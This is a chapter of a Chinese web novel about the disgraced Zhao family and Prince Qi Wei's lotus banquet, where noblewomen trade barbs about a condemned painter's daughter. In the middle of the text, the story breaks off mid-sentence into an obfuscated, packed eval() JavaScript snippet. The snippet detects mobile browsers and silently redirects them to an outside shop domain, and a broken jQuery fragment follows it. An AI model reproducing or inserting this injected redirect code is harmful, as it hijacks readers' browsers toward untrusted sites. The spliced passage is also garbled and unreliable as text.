大雨之后,天气愈发炎热。
午时行人稀少,槐树巷最深处的一座平房,庶人赵焱却穿着朴素,鬼鬼祟祟的从后门溜出来。
一见着赵茂肃,他便飞扑过去,哑着声音,想哭又不能放声哭的道:“爹!爹!”
“这日子真不是人过的啊,你何时去跟陛下求情,快放我回家去罢!”
赵茂肃这些时日为了赵焱的事四处奔走,也苍老了不少。
他摸摸赵焱的脸,左瞧瞧又看看,满脸心疼。
“我的好儿子啊,你瞧你,都瘦了,还晒黑了。爹爹不是私下给你安排了两个下人吗?现在还是你自己在干活么?”
赵焱闻听,登时又抹起眼泪来,向赵茂肃哭诉道:“爹,你是不知道,那群麟甲卫欺人太甚!”
“上次他们来巡察,说我现在是庶人,不能再用兰陵王府从前的仆役,便把人都轰走了。”
赵茂肃闻言,激动得吹胡子瞪眼:“他们难道就没派其他人来帮衬你?!”
“我的焱儿啊,你从小十指不沾阳春水,这烧水做饭,浆洗缝补的事情你哪里会做?!”
他越说越心酸,脸上老泪纵横,分不清是炎炎夏日下的汗水还是泪水:“不能用王府的仆役,那改明儿爹重新给你送两个身世清白的仆役来,这下总不会教他们拿捏住错处了!”
赵焱哭狠了,一抽一抽的道:“他们倒是重新给我安排了两个人。”
“一个上了年岁的老嬷嬷和一个老太监。风一吹就快散架似的!这到底是来伺候我,还是让我给他俩养老送终啊?”
“爹啊!您说!难道您儿子我真就是天生的奴才命吗?”
那俩老骨头,肩不能抗,手不能提的。从前他只用做自己那份饭就行了。
现在好了,他得做三个人的!!!
他越想越觉得悲惨,说着又嚎啕大哭起来,直叫赵茂肃心疼不已。
赵茂肃忙提袖帮儿子抹了把眼泪,一面安慰,一面还不忘做了个噤声的动作,示意他小点声哭,仔细把监视巡逻的麟甲卫给引来了。
赵焱打了个哭嗝儿。
“爹,你何时救我回家啊。难不成真让那三个身份卑微的家伙吃咱们兰陵赵氏的绝户么?”
“你自己亲儿子可是天天处在水深火热中啊!”
“哎哟!”赵茂肃拍腿痛呼,“快别说那三个大爷了,成日把家中搞得乌烟瘴气!”
他说着想起今日这境遇是如何造成的,心疼儿子的同时胸中难免涌起怒火,忍不住教训道:“爹是不是早提醒过你别招惹裕王,如今好了,满京城都在看咱们兰陵王府的笑话!”
“爹在京城,真是没脸待下去了!”
赵焱一听立马急了,忙拽住亲爹的胳膊,追问道:“爹,你要回兰陵去么?你可不能撇下我啊!你走了我怎么办!”
赵茂肃愁眉苦脸,埋头不理。
赵焱一见便知,坏了!被他给猜中了!
“爹啊!我可是你亲儿子啊!你可答应过娘,要护我一辈子的!”
他激动的摇着亲爹的胳膊,赵茂肃被他缠得没法,只好耐心与他交待道:“焱儿,爹这些日子,是该想的法子都想了,圣上的意思,裕王不消气,你怕是……回不了家了。”
“为着你,爹拼着一张老脸去求裕王,却是连裕王府的大门都迈不进去。”
他说罢一只手反拥住赵焱,另一只手伸进怀里掏了掏。
“前些日子圣上的旨意下了,意思是要我带着那三个大爷回兰陵教养。”
赵焱愣愣的问:“那儿子我呢?”
“你怕是……只有留在京中为质了。”
赵焱闻听,两眼一黑,差点就晕了过去。
谁家做质子做成他这窝囊样!
赵茂肃忙稳住儿子的身形,拿出从怀里掏出的沉甸甸的小包袱,塞在赵焱手上。
“这些银票你先拿着,爹好歹是去求了圣上,虽不能免去你的劳作,却也准许爹接济你,总能叫你日子好过些。”
“你放心,爹都打点好了,爹不在你身边,好歹是不会叫你短吃短喝。”
赵焱眼泪鼻涕糊了一脸,拽着赵茂肃的胳膊不让人走,一个劲的嚷着要他爹早日回京救他。
夏日闷热难挡,蝉声聒噪。暗中监视的麟甲卫被吵得不胜其烦,朝身旁的同僚吐槽道:“他们两个到底还要哭哭啼啼多久。”
“不知道。”同僚掏了掏耳朵,抬头看了下刺眼的日光,“找个人催一下他们罢。”
不然真不知道这爷俩得哭到什么时候才肯分开。
这边赵茂肃又嘱咐了赵焱好些事宜,左不过是让他静心等待,莫再生事,以待他日。
忽的,头顶的一扇窗户从内被狠狠撞开。
邻居伸出半个身子朝下面吼道:“吵什么吵!大中午的还让不让人睡觉了!”
“对不住,对不住。”
赵茂肃连连拱手致歉。
盘算着麟甲卫换班的间隙快结束了,父子俩又抱头嘱咐了几句,这才依依不舍的分开。
京都的消息素来传得快,銮驾还未回京时,赵氏父子得罪裕王,被成熙帝降罪的事便已在都城内传开了。
之前那些巴结兰陵赵氏的人,如今唯恐避之不及。
就连曾经唯赵焱马首是瞻的冯重,如今也躲得远远的,生怕殃及自身。
人算不如天算,上京的时候有多风光,回兰陵的时候,就有多狼狈。
众人还没从赵茂肃带着三个便宜儿子,灰溜溜的逃回兰陵的热闹中回过神来。便听说平日寡于酬酢的裕王,要在荷花别苑办一场泛舟宴。
消息一放出,京中顿时炸开了锅。
谁不知道裕王齐危,喜怒无常,乖戾善变。
他多年不曾大开宴席,此番突然宴请,众人一时对这泛舟宴猜测纷纷。
有人以为裕王是看中了自家的某件宝贝,窝窝囊囊的与夫人商量着,要不把宝贝献给裕王。
“我听闻,裕王殿下为了夺宝不择手段,要不…咱们还是把这东西献出去?免得全府遭殃!”
夫人掐他一把,鄙夷的翻个白眼:“瞧你这点出息,黑行上被人忽悠买下的破石头,也就你当个宝贝似的供着!”
“你以为人家裕王殿下看得起咱家这点家当?!”
“有道理……不对不对,没道理!”
他点点头又摇头:“裕王要是看不上咱们,那还特地给咱们下帖做什么呢?”
“不行不行,还得是献出去稳妥些。”
有人以为裕王这是千年老铁树终于要开窍了,办这泛舟宴是准备给自己选王妃。
高兴的人家开始精心筹备,势必要让女儿在宴会上艳压群芳。
“快快快,赶紧差人去金玉阁催置一套最新的头面!我女要是能被裕王看上,我看那个老匹夫今后在朝堂上还敢不敢跟我叫板了!”
也有贵女们在听到风声后,哭得梨花带雨:“满京城谁不知晓裕王就是个行事全凭一己好恶的大魔头!我才不要去那劳什子泛舟宴!”
“我听太常寺卿李大人家二公子的正妻的娘家妹妹的女儿说过!他不高兴的时候真的会杀人!”
……
被宴请的宾客,几家欢喜几家愁。就这样在各家的忐忑与期待间,转眼便到了泛舟宴那一日。
荷花别苑是成熙帝赐给齐危的一处宅邸,圈山占水,光是胜景便有二十余处。
时值夏日,荷开满塘,湖面上荷叶荷花密密匝匝,铺满了湖道。
几艘画蓬船在其间摇曳,船舷擦过荷叶,发出窸窸窣窣的轻响,惊起几只水鸟,扑棱棱的飞远了。
船上人影绰绰,笑声隔着水面传来,混着荷香,软软地散在风里。
众女下了船,到了湖心岛,却不见裕王的影子。
有人忍不住发问:“敢问宫令,殿下请我等女眷前来湖心岛作客,为何自己却不现身,可是有何要事?”
温去寒从容道:“荷花别苑胜景无数,湖心岛观荷赏鱼乃是一大乐事,殿下一直想要一幅此景的诗词字画,所以特地请了各位姑娘前来。”
“各位姑娘都是京城有名的才女,殿下说了,今日若有合心意的字画,无论是谁,宝库中的珍宝古玩,可任取一件。”
一旁的女眷闻听,纷纷聚在一起窃窃私语。
“任取一件,裕王殿下真是大手笔。”
“瞧这阵仗,难不成真是要选王妃?”
方才发问的女子闻言,朝温去寒行了一礼:“雪薇,多谢宫令。”
“乔姑娘不必多礼。”温去寒回以一笑,悄然离去。
只留下一众女眷娇音袅袅,嬉笑的、赏花的、作诗的、作画的,百花齐放。
湖心岛四处环水,女眷们所在的水榭往后,穿过回廊,有错落的假山与修竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911760|213140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,将后面的阁楼遮住。
齐危与成熙帝立在窗边,从二楼往下望去,刚好可以看见水榭那边的全貌。
贵女们聚在一起说说笑笑,裙裾翩然,居高望去,不知是景更美还是人更美。
齐危不禁揶揄道:“如此,皇兄可放心了?”
成熙帝颔首:“皇后贤德,此次物色的……果然都是些德才兼备的淑女。”
他不知看见了什么,话锋一顿,正要开口,齐危已经抢他一步,调侃道:“皇兄看中乔氏女了?”
成熙帝闻言,收回视线,搪塞道:“乔阁老待人和蔼,世人皆说他是当世大儒,家风也以温雅著称。朕过去只是耳闻,今日一见,果然如此。”
他嘴上如此说,心中却不禁暗道:十六弟好毒的眼光,朕不过多看了两眼,竟被他瞧了出来。
蓦地想起齐危从前何等的风光,心中不知是惋惜多一点,还是庆幸多一点。
这乔氏女虽然不错,只是传闻她……
恰时李大监行色匆匆,进门便佝腰禀报道:“陛下,西北有重要军情来报。”
成熙帝闻言,面色一下变得凝重,交代齐危一句“剩下的十六弟替朕决断。”,便撩袍离去。
齐危应声,手肘撑在窗前,目光又落向了水榭。
其他姑娘还在思索做什么诗词字画的时候,乔雪薇铺了一张宣纸在石案上,已然提笔勾勒起来。
有人探首望去,见画上的荷花栩栩如生,画笔勾勒间,荷叶的走向自然流畅,仿佛真的在随风摇曳。
旁观的黄衫女子不禁惊叹:“哇~乔姐姐你画的好好看呀。”
众人闻听纷纷凑上去去观看,一面欣赏,一面忍不住夸赞。
“乔姑娘这荷叶上的露珠晶莹剔透,将落未落,倒像真的一般!”
“乔姐姐不愧是京城第一才女,琴棋书画真真是样样精通。”
穿粉衫的女子看不惯,跟身旁的人嘀咕道:“瞧这群人上杆子巴结的模样,还真以为裕王殿下能看上她吗。”
这话入了方才黄衫女子的耳中,忍不住反驳道:“徐姐姐,裕王殿下会看上谁妹妹不知道,不过妹妹知道,裕王殿下一定会厌恶在背后乱嚼舌根,搬弄是非之人!”
“孙月柔!你说谁呢!你前段时间摔跤把脑子摔坏了罢!”
粉衫女子见她意有所指,一时气急,言语上便多有失态。
孙月柔眼睛斜斜的往上瞟了一眼:“现在还加一条大惊小怪,举止无状。”
“你!你!”徐荭手指孙月柔,气得浑身发抖。
乔雪薇见状,忙起身横在二人中间,说和道:“二位妹妹,咱们都是出来赴宴的,大家和和气气的比什么都重要,千万莫在别处失了自家的体面才好。”
徐荭轻“哼”一声,放下了手臂。
乔雪薇又道:“方才各位妹妹的称赞之词,雪薇实在愧不敢当。若说丹青一技,还属当年的林姑娘。”
林姑娘,这京城有几家林姑娘,又有几家的林姑娘擅丹青,连堂堂内阁大学士的孙女也能甘居其后。
她这一提,众女无不想起当年靖海侯府的林姑娘,林幼鱼,素有扫眉才子之称,彤管丹青,无一不精。
徐荭冷哼一声,嗤笑道:“先帝曾经亲自下令抄斩问罪林氏一族。乔姐姐,你言语中这样的抬高罪臣,怕是不妥罢。”
乔雪薇却是丝毫不慌,只是一笑,解释道:“方才我只说了林姑娘,并未说是哪家的林姑娘。怎徐家妹妹就知道是靖海侯林家的林姑娘呢?”
她顿了顿,话中别有深意。
“还是说,徐妹妹也很认可靖海侯府那位林姑娘的才情,这才我一提到林姑娘,便想到了是她?”
“今日泛舟佳宴,何该赏花游湖才是,这样身死名裂的罪臣之女,有何好讨论的!”
除了靖海侯府那个林幼鱼,还能有哪家的林姑娘!这样晦气的人,活着的时候压着所有人出不了头,死了还要借着旁人之口找她的不痛快!
真是阴魂不散!
徐荭被乔雪薇呛了一嘴,满心愤愤,急于找补,言语上便失了分寸。丝毫没感受到,就在她斜后方的阁楼里,一道阴鸷的目光正注视着她。
孙月柔听她一翻言论,心道了一声“果然。”,从乔雪薇身后探出半个脑袋,冷不丁的道:
“徐姐姐既说游湖,那可千万小心呀,仔细别弄湿了衣裙。”